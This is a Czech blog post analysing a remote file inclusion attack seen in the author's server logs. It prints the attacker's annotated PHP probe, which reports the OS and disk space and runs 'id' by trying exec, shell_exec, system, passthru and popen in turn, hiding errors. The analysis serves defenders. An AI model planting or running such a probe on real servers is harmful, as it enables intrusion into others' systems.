PHP skript – Remote file inclusion útok

PHP code Predzvěst Exploitace aneb kdo mi loupe pernik :). U půlnočního C&C (Cafe & Cigára) sleduju logy a dumu kým jest „robot“ libwww-perl s agent-stringem libwww-perl/5.79. Vnoci kopou všichni, ale tenhle obzvlášť pracovitej permoník na robota opravdu nevypadá. Vrací se o víkendech a výhradně tunelem

Špetka serfování po světě a mám dvě úložiště a server kde ještě před chvilkou kutal. První je úložiště na brazilské subdoméně kit.net kterou tuneluje pomocí dalšího brazilského kámoěe. Občas použije jako bránu Chorvatsky lékařsky institut. Další garáž je v Argentine. Kód tuneluje i přes Jihokorejsky server.
Ze špásu jsem přesměroval opakující se IP adresy na hezkou stránku a čekal co bude :] Trvalo mu cca hodinu než pochopil oč běží. Zkusil novou IP adresu a pak zalomil. A už se nevrátil.. Co záhado-výzvedný kód který použil říká..?


<?
/*
script by nemel zacinat zkracnym tagem <? pro pripad ze v php.ini je nastaven
short_open_tag na 0.

vsechna volani funkci by mela obsahovat prefix @ aby byl script co nejvice
nenapadny. spravne by jeste bylo uplne vypnout zobrazovani/logovani errorovych
hlasek. viz. funkce restore_error_handler, restore_exception_handler,
error_reporting a ini_set(display_errors, 0);
*/

// zjisti CWD (current working directory) [aktualnu slozku ve ktere se pracuje].
$dir = @getcwd();

// nejspis nick autora
echo „Mic22<br>“;

// konstanta obsahujici identifikaci operacniho systemu.
$OS = @PHP_OS;

echo „OSTYPE:$OS<br>“;

// zjisti volne misto v oddilu
$free = disk_free_space($dir);
// operator === kontroluje jestli jsou hodnoty i stejneho typu.
if ($free === FALSE)
{
$free = 0;
}

if ($free < 0)
{
$free = 0;
}

echo „Free:“.view_size($free).„<br>“;

// spusti program id viz. nize funkce ex.
$cmd=„id“;
$eseguicmd=ex($cmd);
echo
$eseguicmd;

/*
funkce ex bere jeden parametr ktery predstavuje nazev programu ktery ma byt
spusten. zkouseji se vsechny zpusoby spusteni souboru. je pravdepodobne ze
ani jedna moznost nebude fungovat
*/
function ex($cfe)
{

$res = ;

if (!empty($cfe))
{
// exec – spusti program a ulozi vystup
if(function_exists(‚exec‘))
{
@
exec($cfe,$res);
$res = join(„\n“,$res);
}
// shell_exec – spusti program v shellu a vrati vystup
elseif(function_exists(‚shell_exec‘))
{
$res = @shell_exec($cfe);
}
// system – spusti program a zobrazi vystup
elseif(function_exists(‚system‘))
{
// ob_start – vypne vystup scriptu
@ob_start();
@
system($cfe);
// do $res se priradi vse co bylo zablokovano na vypis
$res = @ob_get_contents();
@
ob_end_clean();
// ob_end_clean – povoli vystup scriptu
}
// passthru – stejne jako system, ale je urcena pro binarni vystup dat
elseif(function_exists(‚passthru‘))
{
@
ob_start();
@
passthru($cfe);
$res = @ob_get_contents();
@
ob_end_clean();
}
// popen – vytvori rouru ve ktere soubor spusti
elseif(@is_resource($f = @popen($cfe,„r“)))
{
// vystup se cte jako ze souboru
$res = „“;
while(!@
feof($f))
{
$res .= @fread($f,1024);
}
@
pclose($f);
}
}

// vrati vystup z programu
return $res;
}

/*
funkce vypocita pro cloveka citelnou velikost souboru. jinak je zbytecna
*/
function view_size($size)

{
if (!
is_numeric($size))
{
return
FALSE;
}
else
{
if (
$size >= 1073741824)
{
$size = round($size/1073741824*100)/100 .“ GB“;
}
elseif (
$size >= 1048576)
{
$size = round($size/1048576*100)/100 .“ MB“;
}
elseif (
$size >= 1024)
{
$size = round($size/1024*100)/100 .“ KB“;
}
else
{
$size = $size . “ B“;
}

return $size;
}
}

exit; // exit();

diskuze PHP XSS

Kam dál?